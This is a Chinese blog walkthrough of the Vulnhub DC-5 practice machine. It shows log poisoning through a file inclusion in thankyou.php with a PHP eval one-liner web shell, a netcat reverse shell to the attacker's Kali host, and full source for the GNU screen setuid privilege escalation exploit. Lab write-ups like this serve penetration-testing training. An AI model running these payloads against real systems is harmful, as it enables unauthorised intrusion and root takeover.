title: Vulnhub靶机DC系列-DC5
abbrlink: aa142498
date: 2022-09-11 11:02:21

tags: Vulnhub

靶场信息

  • Name: DC: 5
  • Date release: 21 Apr 2019
  • Author: DCAU
  • Series: DC
  • Web page: http://www.five86.com/dc-5.html

靶场描述

DC-5 是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

计划是让 DC-5 提高一个档次,所以这对初学者来说可能不是很好,但对于有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也会如此)。

据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面的刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。

只是为了记录,没有涉及 phpmailer 漏洞利用。:-)

这一挑战的最终目标是获得根并阅读唯一的标志。

必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。

对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

但如果你真的,真的被卡住了,你可以观看这个展示第一步的视频。

技术信息

DC-5 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。

我已经在 VMWare Player 上对此进行了测试,但如果在 VMware 中运行此 VM 有任何问题,请通读此内容。

它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。

安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。

开始

存活主机

image-20220911084525280

dc-5 : 192.168.169.230
kali : 192.168.169.220

 扫描IP

image-20220911084829125

  • 80 先放访问下网页

网页

image-20220911085009888

扫一下目录

  • 安装工具
apt-get install dirsearch
  • 扫描
dirsearch -u http://192.168.169.230/

image-20220911085942688

  • 访问目录

image-20220911090136439

  • 这个目录每次刷新日期都会变化

  • 并且thankyou.php包含了footer.php页面,尝试使用文件包含漏洞

image-20220911090604740

  • 随便写点东西 提交,bp抓包

image-20220911090710258

  • 传入一句话
<?php @eval($_POST['111']);?>

image-20220911090930484

  • nginx 日志

image-20220911091833231

image-20220911092101281

http://192.168.169.230/thankyou.php?file=/var/log/nginx/error.log
  • 连接一句话

image-20220911092241167

image-20220911092255438

nc监听

kali :

nc -lvnp 4444

DC - 5

nc 192.168.169.220 4444 -e /bin/sh

image-20220911092641289

image-20220911092710018

  • 反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'

image-20220911092759247

寻找带权限的文件夹

find / -perm -u=s -type f 2>/dev/null

image-20220911093058033

Screen是一个全屏窗口管理器,它在多个进程(通常是交互式shell)之间多路传输物理终端。每个虚拟终端提供DEC VT100终端的功能,以及ANSI X3的几个控制功能。64(ISO 6429)和ISO 2022标准(例如,插入/删除行和支持多个字符集)。每个虚拟终端都有一个回滚历史缓冲区和一个复制粘贴机制,允许用户在窗口之间移动文本区域。当调用screen时,它会创建一个包含shell(或指定命令)的窗口,然后避开您的方式,以便您可以正常使用该程序。然后,您可以随时创建包含其他程序(包括更多shell)的新(全屏)窗口、关闭当前窗口、查看活动窗口列表、打开和关闭输出日志、在窗口之间复制文本、查看滚动历史记录、在窗口之间切换,等等。所有窗口都完全独立运行其程序。当窗口当前不可见时,甚至当整个屏幕会话与用户终端分离时,程序仍继续运行。

搜索漏洞

image-20220911093425215

image-20220911094207729

这份文档要分成三个部分来看

  • 第一部的

image-20220911095559174

新建文件 libhax.c 先将第一部分内容写到 libhax.c 中

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • 第二部分

image-20220911095840987

  • 新建文件 rootshell.c 第二部分保存到 rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译

gcc -o rootshell rootshell.c
  • 第三部分

新建 dc5.sh

将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了防止脚本的格式错误。

#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
  • 上传

image-20220911102542262

执行

image-20220911110027313

image-20220911110043851